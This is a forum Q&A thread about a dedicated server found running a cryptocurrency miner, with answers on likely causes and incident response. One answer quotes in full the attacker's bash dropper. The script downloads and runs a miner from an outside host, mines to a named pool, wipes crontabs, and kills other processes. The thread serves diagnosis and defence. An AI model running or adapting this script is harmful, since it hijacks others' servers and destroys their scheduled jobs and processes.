Have I been hacked?

Question

I run a dedicated server, where I noticed a high CPU usage recently, and checked the processes. It appears someone (mick account) was mining on my server. How is this possible? The process is below. I have suspended the account. What else would I need to do?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

Answer 1

If you are running a web server which allows server side scripting (php, ruby, etc), this is very easy to do.

All the user has to do is generate a script which downloads a file to /tmp/sh64 and then runs it. Web scripts commonly need to be able to execute external programs, and so this sort of activity is difficult to prevent.

If the mick account is the same account used to run the user's web scripts, then I would say that no, you are not hacked. Just a user abusing their account.

If you want to prevent this behavior, there are a very few ways to prevent it. You can either disallow calling external programs. Or you can do something like kill long running programs (anything left running for more than 60 seconds for example).
Without knowing more details about your setup, the best course of action is difficult to determine.

Answer 2

I had a similar problem. They exploited an outdated version of Nagios' NRPE agent to run a wget of a script which installed and configured the bitcoin miner from Sourceforge (the NRPE daemon had dont_blame_nrpe enabled). I haven't found anything which would indicate that the attempt on my machine was persistent.

This is the script that was used for the installation and setup of the Bitcoin miner:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

This script entirely ran as Nagios user, so it didn't need any root access.

Answer 3

Your system definitely has been compromised or at worst hacked. There are other stories describing a similar miner being installed.

• System Hacked, Bitcoin miner installed
• Did my Linux lab box get hacked?
• BitCoin Mining Malware search results via google

I would take the position that your system has been compromised and get anything critical off of it to start, so that you have it backed up if it isn't already being done so.

Analysis

If you're curious how they got in, you'll need to get a complete list of what services (web, mysql, etc.) you have installed and see if there are any active exploits that would allow someone to gain elevated privileges.

I would start with any web enablements which are applications that are web based. It's typically the case that these applications can be buffer overflowed and access to modifying the web server's stack so that additional applications can be installed.

It is the case that these types of compromises can be isolated incidents, so simply removing the offending software and the malware can be enough to root it out without having to endure the time expense of doing a full recovery/setup of the system.

If this system was built using a VPS based image then I'd work with the provider, since patching it would seem to be in their best interests for all their customers.

Beyond just compromising the web stack

Everything on the box has to be scrutinized and is essentially untrustworthy, but I would take a bit of time to see if you can't figure out where the attackers are logging in from, if at all. They're possibly logging in using SSH accounts that were added to the system after compromising it.

This can be an arduous task taking many days to do analysis, especially if you cannot trust any of the tools on the box to assist in this endeavor. I would encourage anyone to take this time to understand how their system got compromised so that you can reduce the risk of it happening again in the future, at least through this particular vector.

If this isn't a production type of issue, this is actually a good learning opportunity to gain valuable insight into how systems can be compromised and access can be "leveraged up" by would be attackers.

Silver lining?

Since the system is being used for mining purposes it's likely that they used an automated scripting tool set, since attacking enough systems to setup zombie miners seems like it would take a lot of time. When tools such as these are used, they're usually shoddy in their construction, simply only looking to do the bare minimum to gain a foothold and then deliver their payload (the mining software), so you may get lucky and get some additional insights into how they were able to get in.